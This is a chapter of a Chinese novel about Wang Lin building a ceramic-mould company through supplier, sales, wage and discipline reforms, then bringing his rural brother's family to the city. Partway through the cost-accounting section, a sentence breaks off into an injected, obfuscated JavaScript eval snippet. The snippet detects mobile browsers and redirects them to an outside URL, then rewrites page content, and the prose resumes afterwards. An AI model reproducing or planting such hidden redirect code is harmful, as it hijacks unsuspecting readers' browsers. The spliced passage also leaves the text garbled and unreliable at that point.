“一个红烧肉，一个炒鸡块，一个青菜，一个土豆丝，再加个西红柿鸡蛋汤。”第一个师傅说。 王霖摇头：“成本超了。红烧肉太贵。” 第二个师傅想了想：“那就把红烧肉换成肉末烧茄子，鸡块换成鸡肉炒青椒，这样成本能控制住。” 王霖还是摇头：“工人们干的是体力活，要吃实在的肉。” 第三个师傅是个老师傅，说话慢条斯理：“周一红烧鸡块，周二回锅肉，周三糖醋里脊，周四红烧排骨，周五水煮肉片。素菜就时令蔬菜，汤可以骨头汤、紫菜汤、豆腐汤换着来。三块钱的标准，我能让工人吃好。” “怎么控制成本？” “大锅菜有技巧。”老师傅说，“比如红烧鸡块，用鸡腿肉比用鸡胸肉便宜，还好吃。排骨选肋排边角料，价格便宜一半，烧出来一样香。关键是要会买菜，知道什么时候什么菜便宜。” 王霖当场拍板：“就您了。” 保安室要制定门禁制度，保安队长老陈拿来草案。王霖看了，补充了几条：“晚上十点后进出要登记具体事由；货车出厂要检查货单；外来车辆必须停放在指定区域。” 老陈有些不解：“王总，咱们就是个小厂，不用这么严吧？” “现在是小厂，以后要变大。”王霖说，“规矩要从一开始就立好。等出了问题再立规矩，就晚了。” 就这样，王霖像陀螺一样在各个部门之间旋转。奇怪的是，他并不觉得累。相反，看着公司从无到有，看着问题一个个被解决，看着工人们从最初的生疏到渐渐熟练，他感到一种久违的充实。 这种充实和在矿区不同。在矿区，他是在维持一个腐朽的系统；在这里，他是在建设一个全新的体系。 张莉有时心疼他：“你比柳总还忙。他是脑力劳动，你是脑力体力一起上。” “忙点好。”王霖说，“忙说明公司有希望。要是闲下来，那才危险。” --- 四、暗流涌动：初创期的阵痛 然而，不到三个月，问题就像雨后春笋般冒出来。 最棘手的是资金链问题。账上的钱像退潮一样迅速减少，而订单回款却像挤牙膏。王霖让财务部做了个现金流预测表——如果按照现在的状况，公司的钱只能再支撑两个月。 供应商开始频繁催款。永固钢材的老板第三次上门时，脸色已经很难看：“王总，我们小本生意，拖不起啊。这批款再不结，下次你们要钢材就得现款现货了。” “李老板，再宽限几天。”王霖陪着笑脸，“这个月二十五号，一定结。” “这话您上个月也说过。” 王霖无言以对。他知道，信用一旦崩塌，重建起来就难了。 更大的问题在车间里悄然滋生。王霖发现，工人们的工作效率在下降。机械加工车间的那台龙门铣，最初八小时能加工五个模具钢坯，现在只能加工三个。质检组报上来的数据更让他心惊——废品率从第一个月的5%，上升到第二个月的8%，第三个月竟然到了12%。 “怎么回事？”王霖问周工。 周工叹了口气：“人心不稳。有些人觉得公司可能撑不下去，开始磨洋工。还有些人技术不行，但又不敢说，硬着头皮干，干出来就是废品。” 更让他头疼的是人员流动。第一个月走了五个，第二个月走了八个，第三个月走了十二个。招聘的速度赶不上离职的速度，车间主任天天抱怨人手不够。 一天下班后，王霖没有马上离开，而是在厂区里慢慢转悠。走到车间后面的空地时，听见几个工人在角落里聊天。 一个浓重的四川口音说：“东北佬干活太糙了，那个模具钢坯，边角都不打磨平整就跟我说干完了。我跟他们一组真是倒八辈子霉。” 另一个粗犷的东北口音立刻反驳：“你们四川人就会耍小聪明，偷工减料。上次那批活，明明要加工三次，你们加工两次就说好了。要不是质检发现，客户能饶了我们？” “你胡说八道！我们那是改进工艺！” “改进个屁！就是偷懒！” 还有一个山东口音的劝架：“都少说两句，都是出来打工的，不容易。王总对咱不错，工资给得高，咱得对得起这份工钱。” “高啥高？这都三个月了，谁知道下个月还发不发得出工资？” 王霖悄悄退开，心里像压了块石头。他明白了，这支不到百人的队伍，来自四川、东北、山东、湖南、陕西、河南、安徽、江苏等十几个省份。他们离乡背井，在这陌生的城市里，本能地寻找着同乡，抱团取暖，形成了各种小圈子——四川帮、东北帮、山东帮、湖南帮…… 这些“帮派”之间，因为语言、习惯、工作方式的差异，产生了隔阂和矛盾。小小一支队伍，帮派林立，人心不齐。 王霖想起在南方时，那些工厂里的工人也有地域之分，但那时他只是个旁观者。现在，他是管理者，这个问题必须解决。 晚上回到家，王霖饭都吃不下去。他把自己关在书房，在笔记本上列出所有问题： 1. 资金链紧张，供应商催款 2. 生产效率下降，废品率上升 3. 人员流动率高，招聘困难 4. 员工地域抱团，团队凝聚力差 5. 销售回款慢，现金流恶化 6. …… 一页纸，写了十几个问题，每个问题都像一根刺，扎在心上。窗外夜色渐深，书房里的灯一直亮着。 张莉轻轻推门进来，放下一杯热牛奶：“遇到麻烦了？” “嗯。”王霖放下笔，揉了揉发涩的眼睛，“比我想的难。我以为把产品做出来就成功了，没想到真正的挑战在后面。” “那怎么办？” 王霖看着笔记本上的问题，看了很久。那些字迹在灯光下有些模糊，但问题本身却越来越清晰。 “一个个解决。”他重新拿起笔，在空白页上写下四个字：解决方案。 笔尖在纸上沙沙作响，一条条措施被列出来。有些是他从书上学来的管理理论，有些是他在实践中悟出的道理，有些是结合了新陶公司的实际情况。 写到凌晨两点，写了满满三页。 --- 五、第一剂猛药：供应链革命 第二天一早，王霖做出了一个大胆的决定。 他让采购部通知所有供应商：下午两点，在公司会议室开会，有重要事项宣布。 消息传出去，供应商们议论纷纷。有人担心是要拖延付款，有人猜测是要压价，也有人觉得新公司可能撑不下去了。 下午两点，会议室里烟雾缭绕。二十三个供应商来了二十一个，有的面色凝重，有的交头接耳。王霖走进来时，议论声渐渐平息。 “各位老板，感谢大家今天能来。”王霖站在会议桌前，声音不大，但很清晰，“新陶公司开业三个月，承蒙各位关照。今天请大家来，是要宣布一件重要的事情。” 所有人都看着他。 “从下个月开始，新陶公司将实行新的供应商管理制度。”王霖拿出一份文件，“简单说就是：所有供应商，平时只管按订单送货。每月二十五号，是公司的固定结账日。那天，各位来公司，我们统一结算当月货款。” 会议室里先是一静，然后炸开了锅。 “月结？王总，我们小本生意，拖不起啊！” “是啊，现在都是现款现货，顶多账期七天。你这一个月，我们资金周转不过来。” “万一你们到时候没钱怎么办？” 王霖等大家说完，才继续开口：“我知道大家的担心。所以，我们会和每家供应商签订正式的供应协议。” 他举起协议样本：“所有条款白纸黑字写清楚：新陶公司保证每月二十五号按时结款，如果逾期，按银行同期贷款利率支付违约金。同时，我们承诺，每月二十五号，如果哪位老板不方便来公司，我们财务部会主动打电话通知。” 有人质疑：“说得是好听，但到时候没钱，打电话有什么用？” “所以还有第二条。”王霖说，“如果公司确实遇到资金困难，我会提前十天通知各位，和大家协商解决方案。但我也要说明——如果供应商在非结账日催款，或者要求现款现货，我们有权解除供应关系。” 会议室里安静下来。供应商们你看我，我看你，都在权衡。 这时，永固钢材的李老板站起来。他是最大的供应商，三个月供货额将近二十万。 “王总，我跟你合作三个月了。”李老板说，“你这个人，说话算话。上个月说二十五号付款，虽然晚了三天，但还是付了。而且你亲自给我打电话解释，态度诚恳。” 他顿了顿，环视众人：“咱们做生意的，最怕什么？不是怕账期长，是怕遇到不讲信用的人。王总这人，我信得过。这个月结制度，我同意。” 有人带头，情况就不一样了。其他供应商开始松动。 “那……要是签了协议，你们能保证一直执行吗？” “能。”王霖斩钉截铁，“协议就是承诺。我们新陶公司要做长久企业，不是捞一笔就走。信用是我们的生命线。” “行，那我签。” “我也签。” 一个接一个，供应商们开始表态。最后，二十一个供应商，有十七个当场签了协议。剩下的四个说要回去考虑，王霖表示理解。 散会后，采购部老李忧心忡忡地找到王霖：“王总，万一月底没钱结账怎么办？签了协议，违约要付利息的。” “所以我们要精打细算。”王霖说，“从今天起，每一分钱都要用在刀刃上。财务部要做详细的资金计划，精确到每一天。” 这剂猛药见效出乎意料的快。 供应商不再天天催款，采购部的工作顺畅了许多。更重要的是，公司的现金流压力得到了极大缓解——不用随时准备支付货款，可以把有限的钱用在最需要的地方。 月底二十五号，王霖亲自坐镇财务部。十七个供应商陆续前来，财务部按协议一一结款。当最后一个供应商拿着支票离开时，小刘长舒一口气：“王总，这个月的款全部结清了。” 王霖点点头，心里却没有轻松。因为他知道，账上的钱已经所剩无几。下个月的挑战，才刚刚开始。 --- 六、第二剂猛药：销售激励 解决了供应商问题，王霖把目光转向销售部。 销售部只有三个人——柳长青兼任经理，下面两个业务员小孙和小周。三个月了，只接到七个订单，总额四十二万，回款不到二十万。 王霖把小孙和小周叫到办公室。两人都有些忐忑，以为是要批评业绩。 “坐。”王霖示意他们坐下，然后走到小白板前，“从下个月开始，销售部实行新的奖励政策。” 他在白板上写： 基础任务：每人每月10万元销售额 完成基础任务：底薪1200元+销售额5%提成 超额完成：超额部分10%提成 开发新客户：每个新客户奖励2000元 月度销售冠军：额外奖励5000元 年度销售冠军：奖励汽车一辆（价值10万元以内） 小孙和小周的眼睛瞪大了。 “王总，这……这是真的？”小周声音有些发颤。 “白纸黑字，写进制度。”王霖转身看着他们，“但有两个前提：第一，回款率必须达到90%。只签单不回款，不算业绩。第二，不得恶意压价竞争，价格必须按照公司规定的底价执行。” 小孙激动地搓着手：“王总，要是真能做到，我拼了命也要完成任务！” “我要的就是你们这股劲。”王霖说，“但光有劲还不够，还得有方法。从下周开始，每周二晚上，销售部开培训会。我请了老师来教你们销售技巧。” 小周问：“那要是客户拖欠货款怎么办？” “所以你们要学会谈付款条件。”王霖说，“我们是新公司，小公司，拖不起。宁可单价低一点，也要及时回款。首付比例、付款周期，这些都要在合同里写清楚。” 新政策像一针强心剂，注入了销售部。 第二个月，小孙和小周像变了个人。小孙买了辆二手摩托车，每天跑三四家客户，晚上回来整理资料到深夜。小周把公司所有产品资料背得滚瓜烂熟，还自学了模具基础知识。 努力很快有了回报。月底统计时，小孙完成销售额十八万，小周完成十六万。虽然离目标还有距离，但已经是上个月的四倍。 发薪日，王霖亲自把提成发到他们手上。小孙拿到三千六百元提成，加上底薪，一个月四千八。他手都在抖：“王总，我……我从来没一个月拿过这么多钱。” “好好干，以后会更多。”王霖说，“下个月目标十五万，有信心吗？” “有！” 销售部的变化，柳长青看在眼里。月底销售会议，他罕见地露出了笑容：“这个月不错，但不要满足。我们的目标是成为行业前三，现在才刚刚起步。” 他拿出一张地图，上面标注了全国主要的瓷砖产区：“佛山、淄博、唐山、福建、四川……这些地方有上千家瓷砖厂。我们一家一家去跑，一家一家去攻克。” 小孙鼓起勇气问：“柳总，去外地出差，费用……” “公司全包。”柳长青说，“但要有成果。每开发一个外地客户，额外奖励五千。” 销售部的战火被彻底点燃。小周主动申请去佛山，那里是全国最大的瓷砖生产基地。小孙负责山东市场，淄博、临沂一带。 王霖看着他们充满干劲的样子，心里稍感安慰。销售是企业的龙头，龙头动起来，全身才能活。 --- 七、第三剂猛药：人心工程 解决了外部问题，王霖开始整顿内部。他知道，企业的核心竞争力最终是人。 第一个硬骨头是工资问题。工人们私下里议论纷纷，担心公司发不出工资。有人已经开始偷偷找下家，准备随时跳槽。 发工资前一天，王霖决定召开全体员工大会。下午四点，所有工人停工，聚集在食堂——那里是唯一能容纳近百人的地方。 工人们搬来长凳坐下，窃窃私语。王霖走上临时搭起的讲台，手里没有稿子。 “各位工友，我知道大家最近在担心什么。”他开门见山，声音在空旷的食堂里回荡，“担心公司能不能活下去，担心工资能不能发出来，担心这份工作能干多久。” 台下安静下来，所有人都看着他。 “今天我要告诉大家两件事。”王霖举起一根手指，“第一，从下个月开始，每月十五号是公司固定发薪日。我承诺，绝不拖欠一天工资。” 有人小声议论，但很快又安静了。 “第二，”王霖举起第二根手指，“新陶公司的工资标准，是本地同行业的三倍。” 这句话像一颗石子投入平静的湖面，激起了波澜。 “三倍？真的假的？” “不会是画大饼吧？” 王霖不慌不忙，拿出准备好的工资表，让前排的工人传阅。 “机械加工车间初级工，其他厂一个月八百，我们两千四。中级工，其他厂一千二，我们三千六。高级工，其他厂一千八，我们五千四。” 数字具体了，说服力就强了。工人们开始认真听起来。 “但是，”王霖提高声音，“高工资有高要求。我们要的不是混日子的人，是要学技术、肯钻研的人。从下个月开始，公司实行多岗位培训制度。” 他在黑板上写： 掌握一个岗位：基本工资 掌握两个岗位：工资上浮20% 掌握三个岗位：工资上浮50% 掌握四个及以上岗位：工资上浮80%，优先晋升 台下开始有人点头。这意味着一线工人也有机会拿到管理层的工资。 “还有。”王霖继续写，“我们学习国营大企业的经验，引进工龄工资。在新陶公司每干满一年，每月工资增加五十元。干满五年，每月多二百五。干满十年，每月多五百。” 这句话触动了很多老工人的心。他们大多是从国营厂下岗的，在私营企业干了这么多年，从来没人提过“工龄”这两个字。 一个老师傅站起来，声音有些激动：“王总，那我们以前在别的厂的工龄算不算？” 这个问题很关键。如果算，公司要多付出成本；如果不算，会寒了老工人的心。 王霖几乎没有犹豫：“算。只要拿出证明——劳动合同、工资条、下岗证明，我们都认。但最多认十年，再多公司负担不起。” 台下响起了热烈的掌声。老工人们眼眶都红了。他们经历过下岗的阵痛，在私营企业里像浮萍一样漂泊，现在终于有人承认他们的过去，尊重他们的资历。 第二天发工资，工人们拿到厚厚的信封，脸上都露出了久违的笑容。有人当场给家里打电话：“老婆，这个月发了三千六！对，没骗你，真的！公司说了，以后每月十五号准时发……” 人心开始稳定了。那些准备跳槽的人，悄悄收起了简历。那些磨洋工的人，开始认真干活。 王霖站在车间门口，看着工人们专注工作的背影，心里那块石头终于落地了一点点。他知道，这只是第一步，但至少是正确的一步。 --- 八、铁腕治军：规矩立在前 有了高工资作为基础，王霖开始推行严格的规章制度。他知道，没有规矩不成方圆，尤其是在这种人员复杂的制造企业。 公司出台了《员工手册》，薄薄一本，但条条清晰： 考勤制度： 迟到1-5分钟：罚款50元 迟到5-30分钟：罚款100元，计旷工半天 迟到30分钟以上：计旷工一天 连续旷工3天：视为自动离职 质量管理制度： 质量合格率100%的班组：每月奖励500元 提出合理化建议被采纳：奖励200-1000元 出现质量事故：相关责任人罚款100-500元，班组长负连带责任 重大质量事故：开除并追究经济损失 安全管理制度： 不戴安全帽进入车间：罚款50元 违规操作设备：罚款100元，停工培训 发生安全事故：视情节轻重处理，严重者移交司法机关 制度贴出来第一天，就有人不当回事。一个东北来的小伙子小赵，仗着自己技术好，连续两天迟到，被罚款一百元。第三天又迟到，车间主任找他谈话，他还嬉皮笑脸：“主任，不就迟到了几分钟嘛，我中午加班补回来。” 车间主任汇报给王霖。王霖把小伙子叫到办公室。 “小赵，知道为什么叫你吗？” “知道，迟到了。”小伙子满不在乎。 “公司制度看了吗？” “看了，但我觉得太严了。咱们私企，不用这么较真吧？” 王霖脸色严肃起来：“私企更要讲规矩。如果人人都像你这样，制度就成了废纸。你去财务部结账吧，公司不留不守规矩的人。” 小伙子愣住了：“王总，就因为我迟到了几分钟，就要开除我？” “第一次罚款，第二次警告，第三次开除。”王霖一字一句，“制度写得很清楚。如果今天对你网开一面，明天就会有更多人挑战制度。公司的规矩，对谁都一样。” 小伙子还想争辩，但看到王霖坚定的眼神，知道没有回旋余地，垂头丧气地走了。 这件事在厂里引起了震动。工人们开始认真对待那些规章制度，迟到早退的现象几乎绝迹。质检组报上来的废品率，也从12%降到了8%。 但王霖知道，光有惩罚不够，还要有奖励。他让财务部设立“优秀员工奖”，每月评选三名，每人奖励五百元。评选标准很具体：出勤率、工作效率、质量合格率、团队合作精神。 第一个月评出来，一个四川的铣工、一个山东的装配工、一个湖南的质检员获奖。王霖在全体员工大会上给他们颁奖，戴大红花，发奖金。台下掌声热烈，获奖的人脸涨得通红，但眼里都是自豪。 严归严，王霖也懂得柔性管理。他让食堂每天中午加一个肉菜，每周五改善伙食，鸡鸭鱼肉轮着来。他让后勤部在车间安装了大功率风扇，夏天最热的时候还准备了绿豆汤。他让采购部买最好的劳保用品——安全鞋要防砸防穿刺，工作服要吸汗透气，手套要耐磨灵活。 “工人是来赚钱的，不是来受苦的。”他在管理会议上说，“我们要让他们赚到钱，也要让他们干得舒服。只有干得舒服，才能干得长久。” 这些细节，工人们都看在眼里。他们开始把公司当成自己的家，开始主动维护设备，开始互相帮助。车间里的氛围，渐渐从最初的冷漠疏离，变得温暖融洽。 --- 九、播种未来：人才是根本 公司基本稳定下来后，王霖开始考虑长远发展。他知道，企业竞争到最后是人才的竞争。 他做的第一件事，是制定系统的员工培训计划。每个月，公司出钱派两到三名优秀员工去外地学习——去佛山学最新的模具设计理念，去景德镇学陶瓷材料新工艺，去上海学ISO质量管理体系，去北京学安全生产管理。 第一批出去学习的是技术部的小赵和钳工车间的老师傅老刘。两人去了佛山一个星期，回来时带了一大箱资料和样品。 汇报会上，小赵很兴奋：“王总，佛山那边的模具厂已经开始全面用CAD绘图了，效率比我们手绘高十倍不止。而且他们用三维软件做模拟分析，在设计阶段就能发现问题，不用等到试产。” 老刘补充：“他们的质量管理体系很完善，每个工序都有作业指导书，每个零件都有追溯码。出了问题，能很快找到责任人，也能分析出原因。” 王霖当场拍板：“买电脑，买软件。技术部这个月就转型，全部用电脑绘图。质检部开始建立质量追溯体系。” 第二件事，是建立人才储备机制。王霖要求每个部门负责人必须培养自己的副手。“如果你生病了，出差了，甚至离职了，你的工作要有人能立刻接上。如果半年内培养不出合格的副手，你的合同到期后公司不再续签。” 这个政策逼着中层干部去带徒弟。车间主任开始手把手教年轻人技术，财务经理开始教会计做成本分析，采购部长开始教新手谈判技巧。 生产部的李主任最初不理解：“王总，教会徒弟饿死师傅。我把技术都教给他们，他们要是跳槽了怎么办？” “如果他们在这里有发展，为什么要跳槽？”王霖反问，“如果他们在这里学不到东西，才会跳槽。我们要做的，是让员工在这里不断成长，让他们舍不得走。” 李主任想了想，觉得有道理，开始认真带徒弟。他带的第一个徒弟是个陕西小伙，聪明肯学，半年就能独立带班了。李主任非但没被“饿死”，反而因为培养人才有功，被提拔为生产部部长。 第三件事，是健全法务体系。王霖找到大学同学赵彬——他现在是“正义律师事务所”的合伙人，专门做企业法律顾问。 两人在学校门口的饺子馆见面。十几年没见，赵彬已经发福，但眼神依然锐利。 “老王，听说你下海了？行啊，有魄力。”赵彬给王霖倒酒。 “混口饭吃。”王霖笑笑，“老同学，帮我个忙。给我们公司当法律顾问，每月来一次，给员工普法，帮我们审合同。” 赵彬很爽快：“行啊，但亲兄弟明算账，得给钱。” “该给多少给多少。”王霖说，“还要请你帮我们设计保密合同和竞业禁止协议。我们的技术不能外泄。” 赵彬很快拿出了方案。所有员工入职都要签保密协议，离职后三年内不得从事同类工作。技术部的图纸全部编号管理，外带要登记审批。核心技术人员要签竞业禁止协议，离职后公司给予补偿，但一定期限内不能去竞争对手那里。 王霖还通过柳长青的关系，请到了东海第一机床厂退休的总会计师吕在勤。老先生六十五岁，头发花白，但精神矍铄。每月来公司指导两天，工资开得挺高。 吕会计一来就把账本翻了个底朝天，眉头皱得能夹死苍蝇。 “你们这账做得太粗。”他摇头，“成本核算不细，间接费用分摊不合理，库存管理混乱。这样做账，根本不知道哪里赚钱哪里亏钱。” “那该怎么改？”王霖虚心请教。 “上财务软件。”吕会计说，“用手工账，永远做不精细。要用电脑，建立标准成本体系，做作业成本法核算。这样才能知道每个产品、每个工序的真实成本。” 王霖虽然心疼钱，但还是咬牙花了三万八买了用友财务软件，又花五千请软件公司来培训。会计小刘学了半个月，终于学会了。月底出报表，比原来快了三倍，数据也准确多了。 更重要的是，通过成本核算，王霖发现了一些问题：压胶车间的耗材费用偏高，机械加工车间的刀具损耗过大，有些产品的定价甚至低于成本…… 有了这些数据，管理就有了依据。王霖调整了采购策略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196362|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，改进了工艺流程，重新核定了产品价格。三个月后，公司的毛利率提升了五个百分点。 --- 十、亲力亲为：细节决定成败 公司各个部门都走上正轨后，王霖并没有闲下来，反而更忙了。但他忙的方向变了——从救火队员，变成了系统建设者。 他亲自抓采购，但不再事无巨细都管，而是抓关键环节。他建立了供应商评价体系：质量、价格、交货期、服务，四个维度打分。每季度评价一次，得分低的淘汰，得分高的给予更多订单。 他还推行集中采购制度：同样的原料，全公司统一采购，量大价优。仅这一项，每年就能节省二十多万。 他亲自管食堂，但不再管具体菜谱，而是抓食品安全和成本控制。他要求食堂每天公布采购价格，每月公布盈亏情况。厨师长老张开始精打细算，买菜的阿姨学会了价比三家。 有一次，王霖发现食堂的泔水桶里倒了很多剩饭剩菜，把老张叫来：“怎么回事？” “工人们挑食，不爱吃就倒掉。”老张有些委屈。 “那就改进。”王霖说，“做问卷调查，看看工人们喜欢吃什么。口味要多样化，每周菜谱要提前公布。” 改进后，浪费明显减少。工人们吃得满意，干活也有劲。 他亲自管保安，制定了详细的安防制度。厂区安装了监控摄像头，重要区域实行门禁管理。保安队长老陈很负责，每天晚上亲自带队巡逻。 一个雨夜，老陈巡逻时发现仓库窗户没关严，雨水渗了进去。他立刻报告，王霖带人及时处理，避免了一批原料受损。第二天，王霖在早会上表扬老陈，奖励五百元。 他亲自管司机班，推行车辆管理制度。每辆车建立档案，记录行驶里程、油耗、维修情况。司机出车要填派车单，写明事由、路线、预计时间。 司机们一开始觉得麻烦，但看到公司对公车私用、虚报油费等行为严肃处理，就都老实了。三个月后，车辆费用下降了百分之三十。 柳长青看他这么忙，劝他：“有些事可以放手了。你管得太细，下面的人就没了主动性。” “现在还不行。”王霖说，“公司刚起步，每个环节都要规范。等流程理顺了，人员成熟了，自然要放手。但现在，一放就可能乱。” 柳长青点点头，眼神里有赞许，也有感慨。这个从矿区走出来的会计，比他想象的更坚韧，更有担当。他不只是执行者，更是建设者。 --- 十一、破茧成蝶：从生存到发展 一系列的变革，像一剂剂强心针，注入了新陶公司这个新生的肌体。效果在半年后开始显现。 第一年年底，财务部做出了年度报表。小刘用新学的财务软件，打出了厚厚一叠报表：资产负债表、利润表、现金流量表、成本分析表…… 王霖和柳长青在办公室看报表，窗外飘着那年第一场雪。 “销售收入八百六十四万，净利润一百二十二万。”柳长青念出关键数字，“虽然不算多，但对于一家刚成立一年的公司来说，已经是个奇迹。” 王霖仔细看成本结构：“原材料成本占比48%，人工成本23%，制造费用18%，管理费用11%。这个结构还算健康。” “更难得的是质量指标。”柳长青翻到质量报告，“陶瓷衬板的平均使用寿命从最初的八万次提升到十二万次，接近意大利产品的水平。客户投诉率从最初的15%降到3%。” “还有人员稳定了。”王霖补充，“下半年员工离职率降到5%，远低于行业平均的20%。而且招进来的都是熟手，培训成本也下降了。” 柳长青合上报表，看着窗外的雪花：“王霖，我们走对了第一步。但接下来更难——要从生存阶段，进入发展阶段。” 第二年，柳长青开始频繁出差。他的行李箱里总是装着样品、资料、合同。他跑佛山，那里有全国最大的瓷砖生产基地；他跑淄博，那里是江北陶瓷重镇；他跑唐山，那里有老牌的陶瓷企业；他跑福建，那里是外墙砖的聚集地…… 新陶公司的模具，开始出现在一些知名品牌的车间里。佛山的一家大型瓷砖厂，一次就订购了二十套模具，金额四百多万。这是公司成立以来最大的单子。 签合同那天，柳长青从佛山打电话回来，声音里满是兴奋：“王霖，签了！二十套，四百二十万！首付30%，一个月交货。” 王霖在电话这头也激动：“太好了！我马上安排生产。” 这个订单像一剂强心针，让全公司沸腾了。车间开始三班倒，机器二十四小时不停。工人们虽然累，但干劲十足——因为他们知道，公司有前途，他们有奔头。 公司的业绩像滚雪球一样增长。第二年年底，销售收入突破两千万，净利润达到三百二十万。公司成了开发区的纳税大户，王霖开始被邀请参加各种政府会议。 第一次参加开发区企业座谈会，王霖有些紧张。会议在市政府的会议室举行，椭圆形的会议桌旁坐着二十多位企业家。王霖扫了一眼，认识几个——有做服装的，有做电子的，有做机械的。他们开奔驰宝马，穿名牌西装，说话底气十足。 王霖开着一辆二手桑塔纳，穿着普通的夹克，坐在角落。轮到他发言时，他站起来，手心有些出汗。 “各位领导，各位同行，我是新陶公司的王霖。”他尽量让声音平稳，“我们公司做建筑陶瓷模具，刚成立两年。今天主要是来学习的……” 但当他讲到公司的具体做法时——如何通过供应链改革缓解资金压力，如何用激励政策激活销售团队，如何用高薪和培训稳定工人队伍，如何建立严格的质量管理体系——会议室渐渐安静了。 没有华丽的辞藻，没有空洞的口号，全是实实在在的经验和数据。其他企业家开始认真听，有人拿出本子记录。 王霖讲完，主持会议的开发区主任带头鼓掌：“王总讲得好！实实在在，有操作性。我们开发区就需要这样的实干企业。” 会后，几个老总围过来。 “王总，你们那个供应商月结制度，能不能详细说说？我们也被催款催得头疼。” “你们的多岗位培训，具体怎么操作？我们厂里工人就会干一样活，效率上不去。” 王霖一一解答。那一刻，他忽然意识到，自己不再是那个在矿区战战兢兢的小会计了。他成了一个真正的企业家，一个能分享经验、能帮助同行的企业家。 回去的路上，他开着那辆二手桑塔纳，心里却比开宝马还踏实。因为他知道，这一切不是靠关系、不是靠运气，是靠实实在在的努力和管理。 --- 《半生债》中卷第十一章·百川归流（王军线索修订版） （接前文“弟弟进城”段落，替换原十二节后半部分） --- 十二、弟弟进城：一个农民工脱变 公司步入稳定发展的第二年，王霖总算抽得出空，料理老家的事。那年春节回村，弟弟王军一家仍住着父亲留下的三间老屋，墙皮褪落得斑驳，窗缝漏着寒风，王霖没说话，只把目光在老屋上顿了顿，心里沉了沉。 王军比王霖小两岁，却因农村早婚早役，看上去比哥哥苍老不少。常年田间劳作与工地粗活，压得他脊背微微佝偻，手掌糙得像皲裂的老树皮，指甲缝里嵌着洗不净的泥色。弟媳改荣是典型的农村妇女，话少，手脚却极麻利。七岁的侄子王安，已然能帮着喂鸡、拾柴，见了王霖，怯生生地喊一声“大伯”，便攥着衣角站在母亲身后。 年夜饭桌上，王军给哥哥满上酒，杯沿微微倾斜：“哥，你在城里站稳了，咱全家都跟着体面。” 王霖望着弟弟黝黑泛红的脸颊，语气笃定：“军，过完年跟我去东海。改荣和安安也一起。” 王军端着酒杯的手顿住，眼神有些发懵：“去城里？我……我就会种地，别的啥也不会。” “厂里缺人，总有你能干的活。”王霖夹了一筷子菜放进王安碗里，“老家种地挣不下几个钱，安安快上学了，城里的学堂强些。” 改荣攥着筷子，声音细弱：“大哥，我……我大字不识一个，能干啥？” “都能安排。”王霖放下酒杯，“先去了再说。” 正月十五过后，王霖带着弟弟一家三口回了东海。在厂区附近的工人新村，租了套六十平米的两居室，旧是旧了些，倒也干净。厨房里有自来水，厕所也在屋里，改荣摸着墙上的瓷砖，反复擦了两遍手。 安顿妥当，王霖着手安排工作。王军进了新陶公司，从最基础的装配工做起。改荣的工作费了些周折，她没读过书，连自己的名字都写得歪歪扭扭，精细活做不来，重体力活又扛不住。王霖托了几重关系，终于在隔壁外贸企业谋了个烤盘烤瓷工艺的差事——车间主任是老陈介绍的，看在王霖的面子上，收下她做学徒，负责加热玻璃、烤花的基础工序。 “丑话说在前头，”车间主任打量着改荣，“这活看着简单，实则讲究火候和手法，玻璃加热要均匀，烤花得对齐纹路，三个月试用期，练不出手就只能走。” 改荣连连点头，头埋得低：“我能干，我能干。在老家烧火做饭、纳鞋底都细致，我肯学。” 上班第一天，改荣站在烤瓷炉前，手心全是汗。控温旋钮的刻度、烤花纸的贴合位置、加热时长的把控，都有严格规矩。她盯着炉温表不敢挪眼，可第一批玻璃烤盘还是出了错——有的加热不均起了雾斑，有的烤花偏移了纹路。一上午下来，合格的没几件，身旁的老工友早已熟练完成一筐。 中午吃饭时，改荣躲在车间角落，用袖口悄悄擦了擦眼。车间主任路过，拍了拍她的肩膀：“新来的都这样，熟了就快了。” 改荣咬了咬下唇，下午依旧守在炉前，跟着老工友一遍遍学。傍晚下班，指尖被炉壁烫出几处红痕，她攥着手藏在背后，没跟王军提一个字。王军夜里给她烧热水，瞥见她指尖的烫印，眉头拧成一团，想说什么，最终只把热水盆往她跟前推了推，又找了块凉毛巾递过去。改荣低头搓着手，轻声道：“没事，慢慢就好了，不能辜负大哥的心意。” 三个月后，改荣的速度渐渐跟了上来，一个月能挣八百多块。这笔钱，比她在老家一年的收入还要多，她把钱一张张叠整齐，塞进床板下的铁盒子里，锁得紧紧的。 王军在公司的路也不算顺。起初他被分到电工组，跟着李部长学技术。可那些电路图、电气符号、设备原理，于初中都没念完的他而言，无异于天书，连最基础的欧姆定律，琢磨半天也摸不着头脑。 李部长教了半个月，找王霖谈了一次，语气诚恳：“王总，你弟弟人实在，肯出力，但真不是干电工的料。要不，调去装配车间试试？” 王军被调到总装车间。这里不苛求太多理论，却最需细心与耐心。一套模具有几十个部件，每个都要严丝合缝装到位，螺丝拧多少圈都有定数，稍有偏差，压出的瓷砖便不平整。 这一次，王军总算找到了门路。他手巧，性子又稳，一套复杂模具，别人要装一整天，他大半天就能完工，返工率也极低。车间主任老陈很快注意到这个沉默寡言的新人，某次路过他的机位，指着模具上的陶瓷衬板问：“王军，装这个有啥门道？” 王军停下手里的活，腼腆地笑了笑，指尖蹭了蹭模具边缘：“也没啥，就是装之前，把零件按顺序摆好。心静，手就稳。” 简单一句话，却道尽了装配的关键。装配工最忌心浮气躁，一急就容易出岔子，王军的稳，恰好是这份活计最缺的。 半年后，王军成了装配车间的骨干。他不光自己干得好，还开始带徒弟，教人的时候从不大声呵斥，也不催赶，一遍不会就教两遍，两遍不会就再教，直到徒弟摸透为止。有人问他为啥这么有耐心，他只闷头拧着螺丝：“我自己学的时候就慢，知道那难处。” 2002年秋天，新陶公司业绩再上台阶。王霖帮弟弟在工人新村买了套八十平米的两居室，拿到钥匙那天，王军和改荣在屋里转了一圈又一圈，摸了摸墙壁，又摸了摸窗户，整夜都没合眼，灯亮到天快亮。 